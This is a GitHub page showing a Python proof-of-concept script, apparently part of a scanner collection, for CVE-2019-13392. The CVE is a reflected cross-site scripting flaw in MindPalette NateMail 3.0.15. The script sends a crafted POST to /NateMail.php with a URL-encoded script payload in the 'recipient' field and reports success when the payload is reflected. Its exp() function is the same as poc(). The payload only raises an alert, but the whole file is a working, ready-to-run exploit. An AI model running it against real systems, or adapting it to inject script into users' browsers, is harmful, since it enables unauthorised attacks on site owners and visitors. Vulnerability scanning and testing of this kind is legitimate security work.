-
Notifications
You must be signed in to change notification settings - Fork 222
/
CVE-2019-13392.py
68 lines (53 loc) · 2.18 KB
/
CVE-2019-13392.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import requests
# Vuln Base Info
def info():
return {
"author": "cckuailong",
"name": '''MindPalette NateMail 3.0.15 - (XSS)''',
"description": '''reflected Cross-Site Scripting (XSS) vulnerability in MindPalette NateMail 3.0.15 allows an attacker to execute remote JavaScript in a victim's browser via a specially crafted POST request. The application will reflect the recipient value if it is not in the NateMail recipient array. Note that this array is keyed via integers by default, so any string input will be invalid.''',
"severity": "medium",
"references": [
"https://www.doyler.net/security-not-included/natemail-vulnerabilities",
"https://nvd.nist.gov/vuln/detail/CVE-2019-13392"
],
"classification": {
"cvss-metrics": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"cvss-score": "",
"cve-id": "CVE-2019-13392",
"cwe-id": "CWE-79"
},
"metadata":{
"vuln-target": "",
},
"tags": ["cve", "cve2019", "natemail", "xss"],
}
# Vender Fingerprint
def fingerprint(url):
return True
# Proof of Concept
def poc(url):
result = {}
try:
url = format_url(url)
path = """/NateMail.php"""
method = "POST"
data = """recipient=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"""
headers = {'Accept': '*/*', 'Content-Type': 'application/x-www-form-urlencoded'}
resp0 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)
if ("""</script><script>alert(document.domain)</script>""" in resp0.text) and ("""text/html""" in str(resp0.headers)):
result["success"] = True
result["info"] = info()
result["payload"] = url+path
except:
result["success"] = False
return result
# Exploit, can be same with poc()
def exp(url):
return poc(url)
# Utils
def format_url(url):
url = url.strip()
if not ( url.startswith('http://') or url.startswith('https://') ):
url = 'http://' + url
url = url.rstrip('/')
return url